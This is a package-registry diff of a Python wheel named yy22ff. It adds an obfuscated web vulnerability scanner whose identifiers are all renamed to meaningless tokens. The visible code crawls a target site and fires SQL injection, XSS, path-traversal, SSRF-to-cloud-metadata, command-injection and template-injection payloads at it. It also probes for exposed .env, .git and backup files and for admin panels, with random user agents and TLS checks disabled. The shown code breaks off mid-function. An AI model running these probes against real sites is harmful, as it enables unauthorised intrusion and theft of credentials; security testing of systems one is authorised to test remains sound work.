yy22ff 1.0.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- yy22ff/__init__.py +7 -0
- yy22ff/scanner.py +712 -0
- yy22ff-1.0.0.dist-info/METADATA +285 -0
- yy22ff-1.0.0.dist-info/RECORD +7 -0
- yy22ff-1.0.0.dist-info/WHEEL +5 -0
- yy22ff-1.0.0.dist-info/entry_points.txt +2 -0
- yy22ff-1.0.0.dist-info/top_level.txt +1 -0
yy22ff/__init__.py
ADDED
yy22ff/scanner.py
ADDED
|
@@ -0,0 +1,712 @@
|
|
|
1
|
+
# shlhom — Web Vulnerability Scanner
|
|
2
|
+
# by @yy22ff
|
|
3
|
+
import os as shlhom0, sys as shlhom1, re as shlhom2, json as shlhom3, time as shlhom4, ssl as shlhom5, socket as shlhom6, random as shlhom7, argparse as shlhom8, subprocess as shlhom9
|
|
4
|
+
import urllib.parse as shlhom10
|
|
5
|
+
from datetime import datetime as shlhom11
|
|
6
|
+
from concurrent.futures import ThreadPoolExecutor as shlhom12, as_completed as shlhom13
|
|
7
|
+
from threading import Lock as shlhom14
|
|
8
|
+
|
|
9
|
+
try:
|
|
10
|
+
import requests as shlhom15
|
|
11
|
+
try:
|
|
12
|
+
shlhom15.packages.urllib3.disable_warnings()
|
|
13
|
+
except Exception:
|
|
14
|
+
pass
|
|
15
|
+
except ImportError:
|
|
16
|
+
print("[*] requests missing, installing...")
|
|
17
|
+
try:
|
|
18
|
+
shlhom9.check_call([shlhom1.executable, "-m", "pip", "install", "requests", "-q"])
|
|
19
|
+
import requests as shlhom15
|
|
20
|
+
shlhom15.packages.urllib3.disable_warnings()
|
|
21
|
+
except Exception as shlhom16:
|
|
22
|
+
print(f"[!] install failed: {shlhom16}")
|
|
23
|
+
shlhom1.exit(1)
|
|
24
|
+
|
|
25
|
+
try:
|
|
26
|
+
from colorama import init as shlhom17
|
|
27
|
+
shlhom17()
|
|
28
|
+
except Exception:
|
|
29
|
+
pass
|
|
30
|
+
|
|
31
|
+
class shlhom18:
|
|
32
|
+
R="\033[91m"; G="\033[92m"; Y="\033[93m"; B="\033[94m"
|
|
33
|
+
M="\033[95m"; Cy="\033[96m"; W="\033[97m"; D="\033[90m"
|
|
34
|
+
X="\033[0m"; Bo="\033[1m"
|
|
35
|
+
@staticmethod
|
|
36
|
+
def c(shlhom19, shlhom20): return f"{shlhom19}{shlhom20}{shlhom18.X}"
|
|
37
|
+
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
|
|
41
|
+
class shlhom22:
|
|
42
|
+
def __init__(shlhom23, shlhom24):
|
|
43
|
+
shlhom25 = shlhom11.now().strftime("%Y%m%d_%H%M%S")
|
|
44
|
+
shlhom26 = shlhom10.urlparse(shlhom24).netloc.replace(":", "_") or "target"
|
|
45
|
+
shlhom27 = shlhom0.path.dirname(shlhom0.path.abspath(__file__))
|
|
46
|
+
shlhom23.dir = shlhom0.path.join(shlhom27, "results", f"{shlhom26}_{shlhom25}")
|
|
47
|
+
shlhom0.makedirs(shlhom23.dir, exist_ok=True)
|
|
48
|
+
shlhom23.f = shlhom0.path.join(shlhom23.dir, "findings.txt")
|
|
49
|
+
shlhom23.raw = shlhom0.path.join(shlhom23.dir, "raw.log")
|
|
50
|
+
shlhom23.lock = shlhom14()
|
|
51
|
+
shlhom23.n = 0
|
|
52
|
+
|
|
53
|
+
def _w(shlhom23, shlhom28, shlhom29, shlhom30):
|
|
54
|
+
shlhom31 = f"[{shlhom28}] {shlhom29}"
|
|
55
|
+
print(shlhom18.c(shlhom30, shlhom31))
|
|
56
|
+
with shlhom23.lock:
|
|
57
|
+
with open(shlhom23.f, "a", encoding="utf-8") as shlhom32:
|
|
58
|
+
shlhom32.write(shlhom31 + "\n")
|
|
59
|
+
shlhom23.n += 1
|
|
60
|
+
|
|
61
|
+
def info(shlhom23, shlhom29): shlhom23._w("*", shlhom29, shlhom18.Cy)
|
|
62
|
+
def ok(shlhom23, shlhom29): shlhom23._w("+", shlhom29, shlhom18.G)
|
|
63
|
+
def vuln(shlhom23, shlhom29): shlhom23._w("!", shlhom29, shlhom18.R)
|
|
64
|
+
def warn(shlhom23, shlhom29): shlhom23._w("~", shlhom29, shlhom18.Y)
|
|
65
|
+
|
|
66
|
+
def dbg(shlhom23, shlhom29):
|
|
67
|
+
with shlhom23.lock:
|
|
68
|
+
with open(shlhom23.raw, "a", encoding="utf-8") as shlhom32:
|
|
69
|
+
shlhom32.write(shlhom29 + "\n")
|
|
70
|
+
|
|
71
|
+
def save(shlhom23, shlhom33, shlhom34, shlhom35="w"):
|
|
72
|
+
shlhom36 = shlhom0.path.join(shlhom23.dir, shlhom33)
|
|
73
|
+
if isinstance(shlhom34, bytes):
|
|
74
|
+
with open(shlhom36, "wb") as shlhom32: shlhom32.write(shlhom34)
|
|
75
|
+
else:
|
|
76
|
+
with open(shlhom36, shlhom35, encoding="utf-8") as shlhom32: shlhom32.write(shlhom34)
|
|
77
|
+
return shlhom36
|
|
78
|
+
|
|
79
|
+
shlhom37 = [
|
|
80
|
+
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36",
|
|
81
|
+
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0 Safari/537.36",
|
|
82
|
+
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1",
|
|
83
|
+
"Mozilla/5.0 (Linux; Android 13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Mobile Safari/537.36",
|
|
84
|
+
]
|
|
85
|
+
|
|
86
|
+
class shlhom38:
|
|
87
|
+
def __init__(shlhom39, shlhom40=10, shlhom41=0.0, shlhom42=None):
|
|
88
|
+
shlhom39.s = shlhom15.Session()
|
|
89
|
+
shlhom39.s.headers["User-Agent"] = shlhom7.choice(shlhom37)
|
|
90
|
+
shlhom39.s.headers["Accept"] = "*/*"
|
|
91
|
+
shlhom39.s.verify = False
|
|
92
|
+
shlhom39.t = shlhom40; shlhom39.d = shlhom41
|
|
93
|
+
shlhom39.p = {"http": shlhom42, "https": shlhom42} if shlhom42 else None
|
|
94
|
+
|
|
95
|
+
def req(shlhom39, shlhom43, shlhom44, **shlhom45):
|
|
96
|
+
if shlhom39.d: shlhom4.sleep(shlhom39.d)
|
|
97
|
+
try:
|
|
98
|
+
return shlhom39.s.request(shlhom43, shlhom44, timeout=shlhom39.t, proxies=shlhom39.p,
|
|
99
|
+
allow_redirects=True, **shlhom45)
|
|
100
|
+
except Exception as shlhom16:
|
|
101
|
+
return None
|
|
102
|
+
|
|
103
|
+
def get(shlhom39, shlhom46, **shlhom45): return shlhom39.req("GET", shlhom46, **shlhom45)
|
|
104
|
+
def post(shlhom39, shlhom46, **shlhom45): return shlhom39.req("POST", shlhom46, **shlhom45)
|
|
105
|
+
|
|
106
|
+
|
|
107
|
+
shlhom47 = shlhom2.compile(r'(?:href|src|action)\s*=\s*["\']([^"\']+)', shlhom2.I)
|
|
108
|
+
shlhom48 = shlhom2.compile(r'<form\b([^>]*)>(.*?)</form>', shlhom2.I | shlhom2.S)
|
|
109
|
+
shlhom49 = shlhom2.compile(r'<(?:input|textarea|select)\b[^>]*>', shlhom2.I)
|
|
110
|
+
shlhom50 = shlhom2.compile(r'action\s*=\s*["\']([^"\']*)', shlhom2.I)
|
|
111
|
+
shlhom51 = shlhom2.compile(r'method\s*=\s*["\']([^"\']*)', shlhom2.I)
|
|
112
|
+
shlhom52 = shlhom2.compile(r'name\s*=\s*["\']([^"\']+)', shlhom2.I)
|
|
113
|
+
shlhom53 = shlhom2.compile(r'type\s*=\s*["\']([^"\']*)', shlhom2.I)
|
|
114
|
+
shlhom54 = shlhom2.compile(r'[?&]([^=&#]+)=([^&#]*)')
|
|
115
|
+
|
|
116
|
+
def shlhom55(shlhom44, shlhom56, shlhom57):
|
|
117
|
+
shlhom58 = shlhom10.urlparse(shlhom44)
|
|
118
|
+
shlhom59 = shlhom10.parse_qs(shlhom58.query, keep_blank_values=True)
|
|
119
|
+
shlhom59[shlhom56] = [shlhom57]
|
|
120
|
+
shlhom60 = shlhom10.urlencode(shlhom59, doseq=True)
|
|
121
|
+
return shlhom10.urlunparse((shlhom58.scheme, shlhom58.netloc, shlhom58.path, shlhom58.params, shlhom60, shlhom58.fragment))
|
|
122
|
+
|
|
123
|
+
def shlhom61(shlhom62, shlhom63, shlhom57, shlhom64=None):
|
|
124
|
+
shlhom65 = {}
|
|
125
|
+
for shlhom66, shlhom67 in shlhom62["fields"]:
|
|
126
|
+
shlhom65[shlhom66] = shlhom57 if shlhom66 == shlhom63 else "test"
|
|
127
|
+
if shlhom64: shlhom65.update(shlhom64)
|
|
128
|
+
return shlhom65
|
|
129
|
+
|
|
130
|
+
def shlhom68(shlhom44):
|
|
131
|
+
"""fingerprint base url for dedupe"""
|
|
132
|
+
shlhom69 = shlhom10.urlparse(shlhom44)
|
|
133
|
+
shlhom70 = sorted(shlhom10.parse_qsl(shlhom69.query))
|
|
134
|
+
return shlhom10.urlunparse((shlhom69.scheme, shlhom69.netloc, shlhom69.path, shlhom69.params, shlhom10.urlencode(shlhom70), ""))
|
|
135
|
+
|
|
136
|
+
def shlhom71(shlhom72, shlhom73, shlhom74=2, shlhom75=300, shlhom76=None):
|
|
137
|
+
if shlhom76: shlhom76.info("crawling...")
|
|
138
|
+
shlhom77 = shlhom10.urlparse(shlhom72).netloc
|
|
139
|
+
shlhom78 = set(); shlhom79 = [(shlhom72, 0)]
|
|
140
|
+
shlhom80 = set(); shlhom81 = []; shlhom82 = set()
|
|
141
|
+
|
|
142
|
+
while shlhom79 and len(shlhom78) < shlhom75:
|
|
143
|
+
shlhom46, shlhom83 = shlhom79.pop(0)
|
|
144
|
+
if shlhom46 in shlhom78 or shlhom83 > shlhom74: continue
|
|
145
|
+
shlhom78.add(shlhom46)
|
|
146
|
+
shlhom84 = shlhom73.get(shlhom46)
|
|
147
|
+
if not shlhom84: continue
|
|
148
|
+
shlhom80.add(shlhom46)
|
|
149
|
+
|
|
150
|
+
for shlhom85, _ in shlhom54.findall(shlhom46):
|
|
151
|
+
shlhom82.add((shlhom46, shlhom85))
|
|
152
|
+
|
|
153
|
+
shlhom86 = shlhom84.headers.get("Content-Type", "").lower()
|
|
154
|
+
if "html" not in shlhom86 and "xml" not in shlhom86: continue
|
|
155
|
+
|
|
156
|
+
shlhom87 = shlhom84.text[:800000]
|
|
157
|
+
|
|
158
|
+
for shlhom88 in shlhom47.findall(shlhom87):
|
|
159
|
+
shlhom89 = shlhom10.urljoin(shlhom46, shlhom88)
|
|
160
|
+
if shlhom10.urlparse(shlhom89).scheme not in ("http", "https"): continue
|
|
161
|
+
if shlhom10.urlparse(shlhom89).netloc != shlhom77: continue
|
|
162
|
+
shlhom89 = shlhom89.split("#")[0]
|
|
163
|
+
if shlhom89 not in shlhom78:
|
|
164
|
+
shlhom79.append((shlhom89, shlhom83 + 1))
|
|
165
|
+
|
|
166
|
+
for shlhom90, shlhom91 in shlhom48.findall(shlhom87):
|
|
167
|
+
shlhom92 = shlhom50.search(shlhom90)
|
|
168
|
+
shlhom93 = shlhom51.search(shlhom90)
|
|
169
|
+
shlhom94 = shlhom10.urljoin(shlhom46, shlhom92.group(1)) if shlhom92 else shlhom46
|
|
170
|
+
shlhom95 = (shlhom93.group(1) or "get").lower() if shlhom93 else "get"
|
|
171
|
+
shlhom96 = []
|
|
172
|
+
for shlhom97 in shlhom49.findall(shlhom91):
|
|
173
|
+
shlhom98 = shlhom52.search(shlhom97)
|
|
174
|
+
if not shlhom98: continue
|
|
175
|
+
shlhom99 = shlhom53.search(shlhom97)
|
|
176
|
+
shlhom100 = (shlhom99.group(1) or "text").lower() if shlhom99 else "text"
|
|
177
|
+
shlhom96.append((shlhom98.group(1), shlhom100))
|
|
178
|
+
if shlhom96:
|
|
179
|
+
shlhom81.append({"action": shlhom94, "method": shlhom95,
|
|
180
|
+
"fields": shlhom96, "page": shlhom46})
|
|
181
|
+
|
|
182
|
+
if shlhom76: shlhom76.ok(f"crawl: {len(shlhom80)} urls / {len(shlhom82)} params / {len(shlhom81)} forms")
|
|
183
|
+
return list(shlhom80), shlhom81, list(shlhom82)
|
|
184
|
+
|
|
185
|
+
|
|
186
|
+
shlhom101 = {
|
|
187
|
+
"WordPress": [r"wp-content", r"wp-includes", r"wp-json"],
|
|
188
|
+
"Drupal": [r"Drupal\.settings", r"sites/default/files", r"X-Generator: Drupal"],
|
|
189
|
+
"Joomla": [r"/media/system/js/", r"X-Content-Encoded-By: Joomla"],
|
|
190
|
+
"Laravel": [r"laravel", r"XSRF-TOKEN", r"laravel_session"],
|
|
191
|
+
"Django": [r"csrfmiddlewaretoken", r"__admin_media_prefix__"],
|
|
192
|
+
"Rails": [r"csrf-token", r"X-Runtime", r"_rails_session"],
|
|
193
|
+
"Express": [r"X-Powered-By: Express"],
|
|
194
|
+
"PHP": [r"X-Powered-By: PHP", r"PHPSESSID", r"\.php"],
|
|
195
|
+
"ASP.NET": [r"X-AspNet-Version", r"ASP\.NET_SessionId"],
|
|
196
|
+
"Spring": [r"JSESSIONID", r"Whitelabel Error"],
|
|
197
|
+
"Nginx": [r"Server: nginx"],
|
|
198
|
+
"Apache": [r"Server: Apache"],
|
|
199
|
+
"IIS": [r"Server: Microsoft-IIS"],
|
|
200
|
+
"Cloudflare": [r"Server: cloudflare", r"cf-ray"],
|
|
201
|
+
"Nextcloud": [r"nextcloud", r"__Host-nc_sameSite"],
|
|
202
|
+
}
|
|
203
|
+
|
|
204
|
+
def shlhom102(shlhom73, shlhom46, shlhom76):
|
|
205
|
+
shlhom84 = shlhom73.get(shlhom46)
|
|
206
|
+
if not shlhom84: return
|
|
207
|
+
shlhom103 = str(shlhom84.headers) + "\n" + shlhom84.text[:200000]
|
|
208
|
+
shlhom104 = []
|
|
209
|
+
for shlhom105, shlhom106 in shlhom101.items():
|
|
210
|
+
for shlhom107 in shlhom106:
|
|
211
|
+
if shlhom2.search(shlhom107, shlhom103, shlhom2.I):
|
|
212
|
+
shlhom104.append(shlhom105); break
|
|
213
|
+
if shlhom104: shlhom76.ok(f"tech: {', '.join(shlhom104)}")
|
|
214
|
+
else: shlhom76.warn("tech: unknown")
|
|
215
|
+
|
|
216
|
+
shlhom108 = {
|
|
217
|
+
"Cloudflare": [r"cf-ray", r"cloudflare"],
|
|
218
|
+
"AWS WAF": [r"x-amz-cf", r"awselb"],
|
|
219
|
+
"Sucuri": [r"x-sucuri", r"sucuri"],
|
|
220
|
+
"Akamai": [r"akamai"],
|
|
221
|
+
"Imperva": [r"incap_ses", r"visid_incap"],
|
|
222
|
+
"F5 BIG-IP": [r"bigip", r"X-WA-Info"],
|
|
223
|
+
"ModSecurity":[r"mod_security", r"modsecurity"],
|
|
224
|
+
"FortiWeb": [r"fortiweb"],
|
|
225
|
+
}
|
|
226
|
+
|
|
227
|
+
def shlhom109(shlhom73, shlhom46, shlhom76):
|
|
228
|
+
shlhom84 = shlhom73.get(shlhom46)
|
|
229
|
+
if not shlhom84: return
|
|
230
|
+
shlhom103 = str(shlhom84.headers).lower() + "\n" + shlhom84.text[:50000].lower()
|
|
231
|
+
shlhom104 = [shlhom105 for shlhom105, shlhom110 in shlhom108.items() if any(shlhom2.search(shlhom107, shlhom103) for shlhom107 in shlhom110)]
|
|
232
|
+
if shlhom104: shlhom76.warn(f"waf: {', '.join(shlhom104)}")
|
|
233
|
+
else: shlhom76.info("waf: none detected")
|
|
234
|
+
|
|
235
|
+
shlhom111 = ["Strict-Transport-Security", "Content-Security-Policy",
|
|
236
|
+
"X-Frame-Options", "X-Content-Type-Options",
|
|
237
|
+
"Referrer-Policy", "Permissions-Policy"]
|
|
238
|
+
|
|
239
|
+
def shlhom112(shlhom73, shlhom46, shlhom76):
|
|
240
|
+
shlhom84 = shlhom73.get(shlhom46)
|
|
241
|
+
if not shlhom84: return
|
|
242
|
+
shlhom113 = [shlhom114 for shlhom114 in shlhom111 if shlhom114 not in shlhom84.headers]
|
|
243
|
+
if shlhom113:
|
|
244
|
+
shlhom76.warn(f"missing headers: {', '.join(shlhom113)}")
|
|
245
|
+
else:
|
|
246
|
+
shlhom76.ok("all security headers present")
|
|
247
|
+
|
|
248
|
+
|
|
249
|
+
def shlhom115(shlhom73, shlhom46, shlhom76):
|
|
250
|
+
shlhom84 = shlhom73.get(shlhom46, headers={"Origin": "https://evil.test"})
|
|
251
|
+
if not shlhom84: return
|
|
252
|
+
shlhom116 = shlhom84.headers.get("Access-Control-Allow-Origin", "")
|
|
253
|
+
shlhom117 = shlhom84.headers.get("Access-Control-Allow-Credentials", "").lower()
|
|
254
|
+
if shlhom116 == "*" and shlhom117 == "true":
|
|
255
|
+
shlhom76.vuln(f"CORS: * with credentials on {shlhom46}")
|
|
256
|
+
elif "evil.test" in shlhom116:
|
|
257
|
+
shlhom76.vuln(f"CORS: reflects origin on {shlhom46}")
|
|
258
|
+
|
|
259
|
+
shlhom118 = [
|
|
260
|
+
".git/config", ".git/HEAD", ".env", ".env.bak", ".env.old",
|
|
261
|
+
"config.php.bak", "config.php~", "config.php.old",
|
|
262
|
+
"backup.zip", "backup.tar.gz", "backup.sql", "db.sql", "dump.sql",
|
|
263
|
+
"phpinfo.php", "info.php", "test.php", "server-status",
|
|
264
|
+
"web.config", "composer.json", "composer.lock",
|
|
265
|
+
"package.json", "Dockerfile", ".DS_Store", ".htaccess",
|
|
266
|
+
"README.md", "CHANGELOG.md", "sitemap.xml", "robots.txt",
|
|
267
|
+
".svn/entries", "wp-config.php.bak", "config.yml", "config.json",
|
|
268
|
+
]
|
|
269
|
+
shlhom119 = ["root:x:0:0:", "DB_PASSWORD", "APP_KEY", "<?php",
|
|
270
|
+
"[extensions]", "gitdir:", "ref: refs/heads", "SECRET",
|
|
271
|
+
"composer.json", "\"name\":"]
|
|
272
|
+
|
|
273
|
+
def shlhom120(shlhom73, shlhom46, shlhom76):
|
|
274
|
+
shlhom121 = shlhom46.rstrip("/")
|
|
275
|
+
shlhom122 = []
|
|
276
|
+
for shlhom123 in shlhom118:
|
|
277
|
+
shlhom124 = f"{shlhom121}/{shlhom123}"
|
|
278
|
+
shlhom84 = shlhom73.get(shlhom124)
|
|
279
|
+
if not shlhom84 or shlhom84.status_code != 200: continue
|
|
280
|
+
if len(shlhom84.text) < 20: continue
|
|
281
|
+
shlhom103 = shlhom84.text[:5000]
|
|
282
|
+
if any(shlhom125 in shlhom103 for shlhom125 in shlhom119) or shlhom123 in ("robots.txt","sitemap.xml",".htaccess"):
|
|
283
|
+
shlhom76.vuln(f"FILE: {shlhom124}")
|
|
284
|
+
shlhom122.append(shlhom124)
|
|
285
|
+
return shlhom122
|
|
286
|
+
|
|
287
|
+
|
|
288
|
+
shlhom126 = ["admin", "admin/", "admin.php", "admin/login", "admin/login.php",
|
|
289
|
+
"wp-admin/", "wp-login.php", "administrator/", "login", "login.php",
|
|
290
|
+
"panel", "cpanel", "phpmyadmin/", "manager/html", "adminer.php",
|
|
291
|
+
"user/login", "auth/login", "dashboard"]
|
|
292
|
+
|
|
293
|
+
def shlhom127(shlhom73, shlhom46, shlhom76):
|
|
294
|
+
shlhom121 = shlhom46.rstrip("/")
|
|
295
|
+
shlhom122 = []
|
|
296
|
+
for shlhom128 in shlhom126:
|
|
297
|
+
shlhom124 = f"{shlhom121}/{shlhom128}"
|
|
298
|
+
shlhom84 = shlhom73.get(shlhom124)
|
|
299
|
+
if not shlhom84: continue
|
|
300
|
+
if shlhom84.status_code == 200:
|
|
301
|
+
shlhom129 = shlhom84.text[:3000].lower()
|
|
302
|
+
if any(shlhom130 in shlhom129 for shlhom130 in ("login", "password", "username", "admin")):
|
|
303
|
+
shlhom76.ok(f"ADMIN: {shlhom124}")
|
|
304
|
+
shlhom122.append(shlhom124)
|
|
305
|
+
return shlhom122
|
|
306
|
+
|
|
307
|
+
|
|
308
|
+
def shlhom131(shlhom73, shlhom46, shlhom56, shlhom132, shlhom133):
|
|
309
|
+
shlhom124 = shlhom55(shlhom46, shlhom56, shlhom132)
|
|
310
|
+
shlhom84 = shlhom73.get(shlhom124)
|
|
311
|
+
if shlhom84: shlhom133(shlhom124, shlhom84)
|
|
312
|
+
|
|
313
|
+
def shlhom134(shlhom73, shlhom62, shlhom63, shlhom132, shlhom133):
|
|
314
|
+
shlhom135 = shlhom61(shlhom62, shlhom63, shlhom132)
|
|
315
|
+
if shlhom62["method"] == "post":
|
|
316
|
+
shlhom84 = shlhom73.post(shlhom62["action"], data=shlhom135)
|
|
317
|
+
else:
|
|
318
|
+
shlhom84 = shlhom73.get(shlhom62["action"], params=shlhom135)
|
|
319
|
+
if shlhom84: shlhom133(shlhom62["action"] + " [form:" + shlhom63 + "]", shlhom84)
|
|
320
|
+
|
|
321
|
+
shlhom136 = [
|
|
322
|
+
r"you have an error in your sql syntax",
|
|
323
|
+
r"mysql_fetch", r"mysql_num_rows", r"mysql_query",
|
|
324
|
+
r"supplied argument is not a valid mysql",
|
|
325
|
+
r"ora-\d{4,5}", r"oracle.*error",
|
|
326
|
+
r"postgresql.*error", r"pg_query", r"pg_exec",
|
|
327
|
+
r"sqlite.*error", r"sqlite3::",
|
|
328
|
+
r"unclosed quotation mark", r"quoted string not properly terminated",
|
|
329
|
+
r"sqlstate\[", r"syntax error at or near",
|
|
330
|
+
r"warning.*mysql", r"odbc_exec",
|
|
331
|
+
]
|
|
332
|
+
shlhom137 = ["'", "\"", "')", "\"))", "1'", "1\"", "' OR '1'='1", "1 AND 1=2", "';--"]
|
|
333
|
+
shlhom138 = ["' AND SLEEP(4)-- -", "' AND (SELECT 1 FROM PG_SLEEP(4))-- -",
|
|
334
|
+
"'; WAITFOR DELAY '0:0:4'-- -"]
|
|
335
|
+
|
|
336
|
+
def shlhom139(shlhom73, shlhom80, shlhom82, shlhom81, shlhom76):
|
|
337
|
+
shlhom140 = []
|
|
338
|
+
shlhom141 = shlhom82[:40]
|
|
339
|
+
for shlhom46, shlhom85 in shlhom141:
|
|
340
|
+
for shlhom107 in shlhom137:
|
|
341
|
+
def shlhom133(shlhom124, shlhom84):
|
|
342
|
+
shlhom142 = shlhom84.text.lower()
|
|
343
|
+
for shlhom143 in shlhom136:
|
|
344
|
+
if shlhom2.search(shlhom143, shlhom142):
|
|
345
|
+
shlhom76.vuln(f"SQLi(err) {shlhom124}")
|
|
346
|
+
shlhom140.append(("sqli-error", shlhom124)); return
|
|
347
|
+
shlhom131(shlhom73, shlhom46, shlhom85, shlhom107, shlhom133)
|
|
348
|
+
for shlhom46, shlhom85 in shlhom141[:15]:
|
|
349
|
+
for shlhom107 in shlhom138:
|
|
350
|
+
shlhom124 = shlhom55(shlhom46, shlhom85, shlhom107)
|
|
351
|
+
shlhom144 = shlhom4.time(); shlhom84 = shlhom73.get(shlhom124); shlhom145 = shlhom4.time() - shlhom144
|
|
352
|
+
if shlhom84 and shlhom145 >= 3.8:
|
|
353
|
+
shlhom76.vuln(f"SQLi(time {shlhom145:.1f}s) {shlhom124}")
|
|
354
|
+
shlhom140.append(("sqli-time", shlhom124))
|
|
355
|
+
return shlhom140
|
|
356
|
+
|
|
357
|
+
|
|
358
|
+
shlhom146 = ["<script>alert(1)</script>",
|
|
359
|
+
"\"><script>alert(1)</script>",
|
|
360
|
+
"'><svg onload=alert(1)>",
|
|
361
|
+
"<img src=x onerror=alert(1)>"]
|
|
362
|
+
|
|
363
|
+
def shlhom147(shlhom73, shlhom80, shlhom82, shlhom81, shlhom76):
|
|
364
|
+
shlhom140 = []
|
|
365
|
+
for shlhom46, shlhom85 in shlhom82[:40]:
|
|
366
|
+
for shlhom107 in shlhom146:
|
|
367
|
+
shlhom124 = shlhom55(shlhom46, shlhom85, shlhom107)
|
|
368
|
+
shlhom84 = shlhom73.get(shlhom124)
|
|
369
|
+
if shlhom84 and shlhom107 in shlhom84.text:
|
|
370
|
+
shlhom76.vuln(f"XSS(reflect) {shlhom124}")
|
|
371
|
+
shlhom140.append(("xss", shlhom124)); break
|
|
372
|
+
for shlhom62 in shlhom81[:20]:
|
|
373
|
+
for shlhom66, shlhom67 in shlhom62["fields"]:
|
|
374
|
+
if shlhom67 in ("file", "submit", "button", "hidden"): continue
|
|
375
|
+
for shlhom107 in shlhom146[:2]:
|
|
376
|
+
shlhom135 = shlhom61(shlhom62, shlhom66, shlhom107)
|
|
377
|
+
shlhom84 = (shlhom73.post(shlhom62["action"], data=shlhom135) if shlhom62["method"] == "post"
|
|
378
|
+
else shlhom73.get(shlhom62["action"], params=shlhom135))
|
|
379
|
+
if shlhom84 and shlhom107 in shlhom84.text:
|
|
380
|
+
shlhom76.vuln(f"XSS(form:{shlhom66}) {shlhom62['action']}")
|
|
381
|
+
shlhom140.append(("xss-form", shlhom62["action"] + "#" + shlhom66)); break
|
|
382
|
+
return shlhom140
|
|
383
|
+
|
|
384
|
+
|
|
385
|
+
shlhom148 = ["../../../../etc/passwd", "....//....//....//etc/passwd",
|
|
386
|
+
"..%2f..%2f..%2f..%2fetc/passwd", "/etc/passwd",
|
|
387
|
+
"..\\..\\..\\..\\windows\\win.ini"]
|
|
388
|
+
shlhom149 = ["root:x:0:0:", "root:*:", "daemon:x:", "[extensions]", "[fonts]", "[mci extensions]"]
|
|
389
|
+
|
|
390
|
+
def shlhom150(shlhom73, shlhom80, shlhom82, shlhom76):
|
|
391
|
+
shlhom140 = []
|
|
392
|
+
for shlhom46, shlhom85 in shlhom82[:40]:
|
|
393
|
+
for shlhom107 in shlhom148:
|
|
394
|
+
shlhom124 = shlhom55(shlhom46, shlhom85, shlhom107)
|
|
395
|
+
shlhom84 = shlhom73.get(shlhom124)
|
|
396
|
+
if shlhom84 and any(shlhom125 in shlhom84.text for shlhom125 in shlhom149):
|
|
397
|
+
shlhom76.vuln(f"LFI {shlhom124}")
|
|
398
|
+
shlhom140.append(("lfi", shlhom124)); break
|
|
399
|
+
return shlhom140
|
|
400
|
+
|
|
401
|
+
shlhom151 = ["http://example.com/", "https://example.com/"]
|
|
402
|
+
shlhom152 = ["Example Domain", "example.com"]
|
|
403
|
+
|
|
404
|
+
def shlhom153(shlhom73, shlhom80, shlhom82, shlhom76):
|
|
405
|
+
shlhom140 = []
|
|
406
|
+
for shlhom46, shlhom85 in shlhom82[:40]:
|
|
407
|
+
for shlhom107 in shlhom151:
|
|
408
|
+
shlhom124 = shlhom55(shlhom46, shlhom85, shlhom107)
|
|
409
|
+
shlhom84 = shlhom73.get(shlhom124)
|
|
410
|
+
if shlhom84 and any(shlhom125 in shlhom84.text for shlhom125 in shlhom152):
|
|
411
|
+
shlhom76.vuln(f"RFI {shlhom124}")
|
|
412
|
+
shlhom140.append(("rfi", shlhom124)); break
|
|
413
|
+
return shlhom140
|
|
414
|
+
|
|
415
|
+
|
|
416
|
+
shlhom154 = ["http://127.0.0.1:80/", "http://169.254.169.254/latest/meta-data/",
|
|
417
|
+
"http://[::1]:80/", "http://localhost:80/"]
|
|
418
|
+
shlhom155 = ["ami-id", "instance-id", "iam/security-credentials",
|
|
419
|
+
"root:x:0:0:", "Welcome to nginx", "Apache2 Default Page"]
|
|
420
|
+
|
|
421
|
+
def shlhom156(shlhom73, shlhom80, shlhom82, shlhom76):
|
|
422
|
+
shlhom140 = []
|
|
423
|
+
for shlhom46, shlhom85 in shlhom82[:30]:
|
|
424
|
+
for shlhom107 in shlhom154:
|
|
425
|
+
shlhom124 = shlhom55(shlhom46, shlhom85, shlhom107)
|
|
426
|
+
shlhom84 = shlhom73.get(shlhom124)
|
|
427
|
+
if shlhom84 and any(shlhom125 in shlhom84.text for shlhom125 in shlhom155):
|
|
428
|
+
shlhom76.vuln(f"SSRF {shlhom124}")
|
|
429
|
+
shlhom140.append(("ssrf", shlhom124)); break
|
|
430
|
+
return shlhom140
|
|
431
|
+
|
|
432
|
+
|
|
433
|
+
shlhom157 = ["; sleep 4", "| sleep 4", "`sleep 4`", "$(sleep 4)", "& sleep 4",
|
|
434
|
+
"|| sleep 4", "&& sleep 4", "| ping -c 4 127.0.0.1"]
|
|
435
|
+
|
|
436
|
+
def shlhom158(shlhom73, shlhom80, shlhom82, shlhom76):
|
|
437
|
+
shlhom140 = []
|
|
438
|
+
for shlhom46, shlhom85 in shlhom82[:30]:
|
|
439
|
+
for shlhom107 in shlhom157:
|
|
440
|
+
shlhom124 = shlhom55(shlhom46, shlhom85, shlhom107)
|
|
441
|
+
shlhom144 = shlhom4.time(); shlhom84 = shlhom73.get(shlhom124); shlhom145 = shlhom4.time() - shlhom144
|
|
442
|
+
if shlhom84 and shlhom145 >= 3.5:
|
|
443
|
+
shlhom76.vuln(f"CMDi(time {shlhom145:.1f}s) {shlhom124}")
|
|
444
|
+
shlhom140.append(("cmdi", shlhom124)); break
|
|
445
|
+
return shlhom140
|
|
446
|
+
|
|
447
|
+
|
|
448
|
+
shlhom159 = [
|
|
449
|
+
("{{7*7}}", "49"),
|
|
450
|
+
("${7*7}", "49"),
|
|
451
|
+
("<%= 7*7 %>", "49"),
|
|
452
|
+
("#{7*7}", "49"),
|
|
453
|
+
("{{7*'7'}}", "7777777"),
|
|
454
|
+
("*{7*7}", "49"),
|
|
455
|
+
]
|
|
456
|
+
|
|
457
|
+
def shlhom160(shlhom73, shlhom80, shlhom82, shlhom76):
|
|
458
|
+
shlhom140 = []
|
|
459
|
+
for shlhom46, shlhom85 in shlhom82[:40]:
|
|
460
|
+
for shlhom107, shlhom161 in shlhom159:
|
|
461
|
